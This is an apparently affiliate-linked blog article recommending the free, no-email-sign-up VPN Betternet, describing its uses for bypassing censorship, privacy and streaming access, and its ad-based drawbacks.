1415,
1416,
1424,
1425,
1465,
1466,
1512,
1513,
1556,
1557,
1569,
1574
],
"line_end_idx": [
26,
27,
35,
36,
206,
207,
235,
236,
316,
317,
325,
326,
350,
351,
395,
396,
403,
404,
437,
438,
451,
452,
486,
487,
502,
536,
564,
601,
632,
633,
644,
672,
706,
764,
797,
824,
846,
879,
906,
943,
982,
983,
1006,
1020,
1042,
1064,
1087,
1097,
1119,
1141,
1163,
1173,
1195,
1217,
1239,
1249,
1271,
1293,
1315,
1327,
1349,
1371,
1393,
1415,
1416,
1424,
1425,
1465,
1466,
1512,
1513,
1556,
1557,
1569,
1574,
1614
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1614,
"ccnet_original_nlines": 75,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12121211737394333,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03463203087449074,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5779221057891846,
"rps_doc_frac_unique_words": 0.6323529481887817,
"rps_doc_mean_word_length": 5.43137264251709,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0.03896104171872139,
"rps_doc_unigram_entropy": 4.405317783355713,
"rps_doc_word_count": 204,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.11552347242832184,
"rps_doc_frac_chars_top_3gram": 0.01805054023861885,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -205.1450958251953,
"rps_doc_books_importance_length_correction": -191.37130737304688,
"rps_doc_openwebtext_importance": -156.44252014160156,
"rps_doc_openwebtext_importance_length_correction": -156.44252014160156,
"rps_doc_wikipedia_importance": -133.77029418945312,
"rps_doc_wikipedia_importance_length_correction": -120.35893249511719
},
"fasttext": {
"dclm": 0.05636078119277954,
"english": 0.20878316462039948,
"fineweb_edu_approx": 1.2001793384552002,
"eai_general_math": 0.1695123314857483,
"eai_open_web_math": 0.014376940205693245,
"eai_web_code": 0.4076608419418335
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.432",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.435",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,575,350,604,296,865,000 | Solved
filling multidementional arrays in VB
Posted on 2009-07-08
4
319 Views
Last Modified: 2012-05-07
I have a multidimentional array I want to fill. I'm doing it explicitly:
(see code below)
I was wondering if I could fill each row like this:
BitRateArray(0) = {32, 32, 32, 32, 8}
Dim BitRateArray(14, 5) As Integer
'32 32 32 32 8
BitRateArray(0, 0) = 32
BitRateArray(0, 1) = 32
BitRateArray(0, 2) = 32
BitRateArray(0, 3) = 32
BitRateArray(0, 4) = 8
'64 48 40 48 16
BitRateArray(1, 0) = 64
BitRateArray(1, 1) = 48
BitRateArray(1, 2) = 40
BitRateArray(1, 3) = 48
BitRateArray(1, 4) = 16
'96 56 48 56 24
BitRateArray(2, 0) = 96
BitRateArray(2, 1) = 56
BitRateArray(2, 2) = 48
BitRateArray(2, 3) = 56
BitRateArray(2, 4) = 24
...
Open in new window
0
Comment
Question by:zliminator
[X]
Welcome to Experts Exchange
Add your voice to the tech community where 5M+ people just like you are talking about what matters.
• Help others & share knowledge
• Earn cash & points
• Learn & ask questions
• 3
4 Comments
LVL 20
Expert Comment
by:alainbryden
ID: 24804462
Are you working in VB 6 or VB.NET?
--
Alain
0
LVL 20
Accepted Solution
by:
alainbryden earned 125 total points
ID: 24804490
If you're using VB.net you can use:
--
Alain
Dim BitRateArray(,) As Integer = {{32, 32, 32, 32, 8 }, _
{64, 48, 40, 48, 16},
{96, 56, 48, 56, 24}}
Open in new window
0
LVL 20
Expert Comment
by:alainbryden
ID: 24804570
After a quick check to be sure, VB6 or earlier doesn't provide any way to declare an array and initialize its elements at the same time. In most cases you end up doing it by setting individual elements as you have.
One way you can create an array of variants on the fly is to go.
Dim varArray() As Variant
varArray() = Array(32, 32, 32, 32, 8)
I'm not sure, but you can probably extend that to go:
Dim varArray() As Variant
varArray() = Array( Array(32, 32, 32, 32, 8)
Array(64, 48, 40, 48, 16)
Array(96, 56, 48, 56, 24) )
You would then end up referencing elements as varArray(1)(1).
You could also use this in conjunction with a custom function to return an integer array. Details on this method are here http://www.devx.com/vb2themax/Tip/18322, and could probably be adapted to work with a 2D integer array.
Not sure that it gets any better than that with VB6
--
Alain
0
Author Closing Comment
by:zliminator
ID: 31601125
Thanks, I'm in vb.net but I like both answers. Very helpful, thanks again.
Dan
0
Featured Post
Free Tool: Subnet Calculator
The subnet calculator helps you design networks by taking an IP address and network mask and returning information such as network, broadcast address, and host range.
One of a set of tools we're offering as a way of saying thank you for being a part of the community.
Question has a verified solution.
If you are experiencing a similar issue, please ask a related question
Entering a date in Microsoft Access can be tricky. A typo can cause month and day to be shuffled, entering the day only causes an error, as does entering, say, day 31 in June. This article shows how an inputmask supported by code can help the user a…
In this post we will learn different types of Android Layout and some basics of an Android App.
With the power of JIRA, there's an unlimited number of ways you can customize it, use it and benefit from it. With that in mind, there's bound to be things that I wasn't able to cover in this course. With this summary we'll look at some places to go…
Six Sigma Control Plans
705 members asked questions and received personalized solutions in the past 7 days.
Join the community of 500,000 technology professionals and ask your questions.
Join & Ask a Question | {
"url": "https://www.experts-exchange.com/questions/24553222/filling-multidementional-arrays-in-VB.html",
"source_domain": "www.experts-exchange.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "153248",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JKAWBKIPTSWIXOIX5LOVIOVHZZY4GXK3",
"WARC-Concurrent-To": "<urn:uuid:03767d0e-be01-42c8-b3dc-796e519e670b>",
"WARC-Date": "2017-06-25T04:29:36Z",
"WARC-IP-Address": "104.20.168.10",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:H6VNXGC7THBO7QDFNHWRF7RFEERP63YJ",
"WARC-Record-ID": "<urn:uuid:583d605e-4af8-470f-accc-31f92736c576>",
"WARC-Target-URI": "https://www.experts-exchange.com/questions/24553222/filling-multidementional-arrays-in-VB.html",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:dd09dfaa-3603-4c96-9ed3-99249da1b59b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-145-158-100.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
7,
8,
46,
47,
68,
70,
80,
106,
179,
196,
197,
249,
250,
296,
297,
332,
334,
353,
385,
417,
449,
481,
512,
514,
539,
571,
603,
635,
667,
699,
701,
726,
758,
790,
822,
854,
886,
890,
891,
910,
911,
913,
921,
944,
948,
976,
977,
1077,
1078,
1112,
1135,
1161,
1167,
1178,
1180,
1187,
1188,
1203,
1204,
1219,
1232,
1267,
1268,
1271,
1277,
1279,
1281,
1288,
1289,
1307,
1308,
1312,
1348,
1361,
1397,
1398,
1401,
1407,
1465,
1521,
1577,
1578,
1597,
1598,
1600,
1602,
1609,
1610,
1625,
1626,
1641,
1654,
1869,
1870,
1935,
1961,
1999,
2000,
2054,
2080,
2126,
2186,
2248,
2310,
2311,
2537,
2538,
2590,
2591,
2594,
2600,
2602,
2604,
2605,
2628,
2629,
2643,
2656,
2731,
2732,
2736,
2738,
2739,
2753,
2754,
2783,
2784,
2951,
2952,
3053,
3054,
3088,
3089,
3160,
3161,
3412,
3508,
3759,
3783,
3784,
3868,
3869,
3948,
3949
],
"line_end_idx": [
7,
8,
46,
47,
68,
70,
80,
106,
179,
196,
197,
249,
250,
296,
297,
332,
334,
353,
385,
417,
449,
481,
512,
514,
539,
571,
603,
635,
667,
699,
701,
726,
758,
790,
822,
854,
886,
890,
891,
910,
911,
913,
921,
944,
948,
976,
977,
1077,
1078,
1112,
1135,
1161,
1167,
1178,
1180,
1187,
1188,
1203,
1204,
1219,
1232,
1267,
1268,
1271,
1277,
1279,
1281,
1288,
1289,
1307,
1308,
1312,
1348,
1361,
1397,
1398,
1401,
1407,
1465,
1521,
1577,
1578,
1597,
1598,
1600,
1602,
1609,
1610,
1625,
1626,
1641,
1654,
1869,
1870,
1935,
1961,
1999,
2000,
2054,
2080,
2126,
2186,
2248,
2310,
2311,
2537,
2538,
2590,
2591,
2594,
2600,
2602,
2604,
2605,
2628,
2629,
2643,
2656,
2731,
2732,
2736,
2738,
2739,
2753,
2754,
2783,
2784,
2951,
2952,
3053,
3054,
3088,
3089,
3160,
3161,
3412,
3508,
3759,
3783,
3784,
3868,
3869,
3948,
3949,
3970
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3970,
"ccnet_original_nlines": 144,
"rps_doc_curly_bracket": 0.0025188899599015713,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.27069351077079773,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.032438479363918304,
"rps_doc_frac_lines_end_with_ellipsis": 0.02068966068327427,
"rps_doc_frac_no_alph_words": 0.4015659987926483,
"rps_doc_frac_unique_words": 0.4847511947154999,
"rps_doc_mean_word_length": 4.390048027038574,
"rps_doc_num_sentences": 28,
"rps_doc_symbol_to_word_ratio": 0.003355700056999922,
"rps_doc_unigram_entropy": 5.306375026702881,
"rps_doc_word_count": 623,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.10237660259008408,
"rps_doc_frac_chars_dupe_6grams": 0.08884826302528381,
"rps_doc_frac_chars_dupe_7grams": 0.03656306862831116,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.019012799486517906,
"rps_doc_frac_chars_top_3gram": 0.01755026914179325,
"rps_doc_frac_chars_top_4gram": 0.012797069735825062,
"rps_doc_books_importance": -341.666259765625,
"rps_doc_books_importance_length_correction": -341.666259765625,
"rps_doc_openwebtext_importance": -189.8605194091797,
"rps_doc_openwebtext_importance_length_correction": -189.8605194091797,
"rps_doc_wikipedia_importance": -55.64106369018555,
"rps_doc_wikipedia_importance_length_correction": -55.64106369018555
},
"fasttext": {
"dclm": 0.020769480615854263,
"english": 0.8473899960517883,
"fineweb_edu_approx": 1.6800252199172974,
"eai_general_math": 0.03417414054274559,
"eai_open_web_math": 0.2297520637512207,
"eai_web_code": 0.5804882049560547
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,486,412,828,206,821,000 | No description, website, or topics provided.
C C++ Python
Switch branches/tags
Nothing to show
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Failed to load latest commit information.
antares-mkdb
antares-pack
antares-place
antares-route
data
include
libanetlist
libbanner
libchip
libmtwist
libucfparse
test-router
test-sitelist
.gitignore
CMakeLists.txt
COPYING
README
README
Antares
Physical implementation tools for Xilinx FPGAs.
(C) Copyright 2011 Sebastien Bourdeauducq.
Released under GNU GPL version 3. See file COPYING.
Build requirements:
* Clang
* CMake
* Python
Build/installation instructions:
$ mkdir build
$ cd build
$ cmake ..
$ make
# make install
If you want to build and install the chip geometry database (needed to
operate the software), set the environment variable ANTARES_BUILD_DATA=1
before running cmake. This requires ISE and takes several minutes and
several gigabytes of temporary files.
Homepage: http://www.milkymist.org/fpgatools | {
"url": "https://github.com/weidu/antares",
"source_domain": "github.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "59182",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:M2SZEAVWPVRD4ZBHUZQMMD7G4VK4NRKX",
"WARC-Concurrent-To": "<urn:uuid:69ff7fcd-01d0-4a0c-810c-896f62ab8f6e>",
"WARC-Date": "2017-06-24T19:25:45Z",
"WARC-IP-Address": "192.30.253.112",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NQCRZTWSITG5U5VRHXQMLDFUXAKMJSGD",
"WARC-Record-ID": "<urn:uuid:edd195de-ee06-4575-acb1-93b94cf351ea>",
"WARC-Target-URI": "https://github.com/weidu/antares",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5d241e6b-1ab5-4c5b-b8d4-7bee89d2db5a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-167-79-146.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
45,
58,
79,
95,
119,
167,
177,
219,
232,
245,
259,
273,
278,
286,
298,
308,
316,
326,
338,
350,
364,
375,
390,
398,
405,
406,
413,
414,
422,
470,
471,
514,
566,
567,
587,
596,
605,
615,
616,
649,
664,
676,
688,
696,
712,
713,
784,
857,
927,
965,
966
],
"line_end_idx": [
45,
58,
79,
95,
119,
167,
177,
219,
232,
245,
259,
273,
278,
286,
298,
308,
316,
326,
338,
350,
364,
375,
390,
398,
405,
406,
413,
414,
422,
470,
471,
514,
566,
567,
587,
596,
605,
615,
616,
649,
664,
676,
688,
696,
712,
713,
784,
857,
927,
965,
966,
1010
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1010,
"ccnet_original_nlines": 51,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12021858245134354,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06010929122567177,
"rps_doc_frac_lines_end_with_ellipsis": 0.01923076994717121,
"rps_doc_frac_no_alph_words": 0.2568306028842926,
"rps_doc_frac_unique_words": 0.800000011920929,
"rps_doc_mean_word_length": 6.495999813079834,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0.010928959585726261,
"rps_doc_unigram_entropy": 4.501039981842041,
"rps_doc_word_count": 125,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.029556650668382645,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -86.22820281982422,
"rps_doc_books_importance_length_correction": -86.22820281982422,
"rps_doc_openwebtext_importance": -34.81107711791992,
"rps_doc_openwebtext_importance_length_correction": -20.856143951416016,
"rps_doc_wikipedia_importance": -35.80817413330078,
"rps_doc_wikipedia_importance_length_correction": -35.80817413330078
},
"fasttext": {
"dclm": 0.29325932264328003,
"english": 0.6450731754302979,
"fineweb_edu_approx": 2.1950843334198,
"eai_general_math": 0.009860220365226269,
"eai_open_web_math": 0.039208829402923584,
"eai_web_code": 0.006702010054141283
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,278,778,782,469,414,000 | Tutorials
Java Basic Interview Question
Java Interview Question Set3
Q1: Write main() method with correct signature?
Given below is the main() method with correct type signature.
public static void main(String[] args) {
//main body
}
Q2: Explain meaning of each term in main() method?
As we have already seen from above question that important terms in main are:
• public
• static
• void
• main
• String[ ] args
We have already provided detailed answer explaining each term in our java tutorial here: click to read
Q3: Shuffle the terms of main method and execute. Will it run?
Yes it will run fine for some combinations.
The code will compile and run if we write keywords in main() method in any order as shown below:
• public static void main(String[] args)
• static public void main(String[] args)
But these combinations won't compile:
• public void static main(String[] args) → compiler error as method main doesnot have valid return type. static is not a return type so this combination fails.
• static void public main(String[] args) → Same reason as stated above
Q4: Why main() method is needed in java?
In java main() method is the entry point.
Whenever a program is executed the JVM search for the main method with the type signature as explained in question 1.
So main is needed to start the program execution and help JVM locate the starting point of the program.
Q5: Can main() method be overloaded in java?
Yes we can overload main method in java.
Find the example of main() method overloading given below:
public class TutorialsInHand {
public static void main(String[] args){
int a=10, b =40;
main(a, b);
}
public static void main(int a,int b){ //overloaded main
int result = a+b;
System.out.println(result);
}
}
Similarly you can overload more methods.
If you want to learn about method overloading in details then following the link to our java tutorial - click here
Please Share this page
Views : 111
Like every other website we use cookies. By using our site you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service. Learn more Got it! | {
"url": "https://tutorialsinhand.com/tutorials/java-interview-question/java-basic-interview-question/java-interview-question-set3.aspx",
"source_domain": "tutorialsinhand.com",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "53610",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RB5U7STTCV2OUUH4JL7OSZONWVBBRMQJ",
"WARC-Concurrent-To": "<urn:uuid:92f01d7c-1714-4812-bbd0-f5c48cc1868d>",
"WARC-Date": "2018-12-11T03:40:11Z",
"WARC-IP-Address": "184.168.224.175",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DFW7N5R3IEWDPSQ7RR7NO7N2AWC4RNB4",
"WARC-Record-ID": "<urn:uuid:9a2ff75e-7f11-46f9-a6b2-f5e51ad43eba>",
"WARC-Target-URI": "https://tutorialsinhand.com/tutorials/java-interview-question/java-basic-interview-question/java-interview-question-set3.aspx",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0eb0ddbf-2497-494b-9776-7d2021795f7f>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-150-135-54.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
10,
11,
41,
42,
43,
72,
73,
74,
122,
123,
185,
186,
229,
230,
244,
247,
249,
250,
301,
302,
380,
381,
392,
403,
412,
421,
440,
441,
544,
545,
546,
548,
549,
612,
613,
657,
658,
755,
756,
799,
842,
843,
881,
882,
1044,
1117,
1118,
1159,
1160,
1203,
1204,
1322,
1323,
1427,
1428,
1430,
1431,
1432,
1477,
1478,
1519,
1520,
1522,
1523,
1582,
1583,
1614,
1615,
1656,
1675,
1689,
1692,
1693,
1750,
1770,
1800,
1803,
1804,
1806,
1807,
1849,
1850,
1965,
1966,
1967,
1968,
1991,
2003
],
"line_end_idx": [
10,
11,
41,
42,
43,
72,
73,
74,
122,
123,
185,
186,
229,
230,
244,
247,
249,
250,
301,
302,
380,
381,
392,
403,
412,
421,
440,
441,
544,
545,
546,
548,
549,
612,
613,
657,
658,
755,
756,
799,
842,
843,
881,
882,
1044,
1117,
1118,
1159,
1160,
1203,
1204,
1322,
1323,
1427,
1428,
1430,
1431,
1432,
1477,
1478,
1519,
1520,
1522,
1523,
1582,
1583,
1614,
1615,
1656,
1675,
1689,
1692,
1693,
1750,
1770,
1800,
1803,
1804,
1806,
1807,
1849,
1850,
1965,
1966,
1967,
1968,
1991,
2003,
2191
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2191,
"ccnet_original_nlines": 88,
"rps_doc_curly_bracket": 0.0036512999795377254,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2743362784385681,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.015486730262637138,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22345133125782013,
"rps_doc_frac_unique_words": 0.45584046840667725,
"rps_doc_mean_word_length": 4.675213813781738,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.686737060546875,
"rps_doc_word_count": 351,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05484461039304733,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.06703229993581772,
"rps_doc_frac_chars_top_3gram": 0.03900061175227165,
"rps_doc_frac_chars_top_4gram": 0.047531988471746445,
"rps_doc_books_importance": -172.47933959960938,
"rps_doc_books_importance_length_correction": -172.47933959960938,
"rps_doc_openwebtext_importance": -86.50860595703125,
"rps_doc_openwebtext_importance_length_correction": -86.50860595703125,
"rps_doc_wikipedia_importance": -71.30577087402344,
"rps_doc_wikipedia_importance_length_correction": -71.30577087402344
},
"fasttext": {
"dclm": 0.05065786838531494,
"english": 0.7960213422775269,
"fineweb_edu_approx": 2.948538303375244,
"eai_general_math": 0.03848952054977417,
"eai_open_web_math": 0.017471080645918846,
"eai_web_code": 0.10204809904098511
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.3",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
287,457,845,809,302,720 | Is there a VPN without email sign up?!
Radu Tyrsina
by Radu Tyrsina
Founder & Editor-in-Chief
Loading Comments
Affiliate Disclosure
vpn without email
If you are looking for a VPN without email registering, then you are in luck. After quite a big of digging I finally found a VPN provider that is both free and doesn’t require an email to sign up.
This provider is called Betternet. In this article, we will discuss how Betternet holds up to one of the best VPN service on the market, CyberGhost.
Betternet overview
Betternet is specifically designed to be as easy and convenient as possible to use. Because it is so easy to use, this VPN service is great for beginners who have never used VPN services before.
All you have to do to access the benefits of a VPN is download the Betternet application on your Windows, Mac, or Android device.
What are the uses of Betternet?
Betternet is a basic VPN provider and does not offer much in terms of features. Nevertheless, it is still a great service considering that it is completely free.
With Betternet you can unlock previously inaccessible websites, due to firewalls and censorship. Some countries ban popular websites such as Google, Facebook, Twitter, etc, and a VPN like Betternet can help you bypass censorship.
Another very important feature of Betternet is that it provides a decent form of security. Your privacy will be protected, because Betternet will encrypt data while you browse the internet.
With a proper VPN service, you can remain anonymous, hide your location, and change your IP address. If you do not want any third parties looking into your private life, then a VPN service is ideal for you. Betternet offers pretty decent security for a free provider. However, premium services tend to offer far better security and faster servers.
Another advantage of Betternet is that you can use it to easily access all the functions of streaming services such as YouTube.com and Netflix. In other words, if you are a Netflix user, then you can access content available for Netflix users in other countries. For example, if you are in Europe and you want to have access to the same content as Netflix users in the United States, then Betternet or other VPN services can help you fulfill your desires.
What are the disadvantages of Betternet?
Since Betternet does not require users to sign up and pay for a subscription, they have to earn money somehow. One way they earn money is through affiliate programs. They advertise other applications that you can download and buy. If you purchase these applications through the advertisements, then the team from Betternet gets a compensation.
Betternet also use other traditional methods of advertising . For instance, they offer videos for you to watch, which are basically marketing tools for other companies. Nevertheless, if you do not mind advertisements, then Betternet is still a good option.
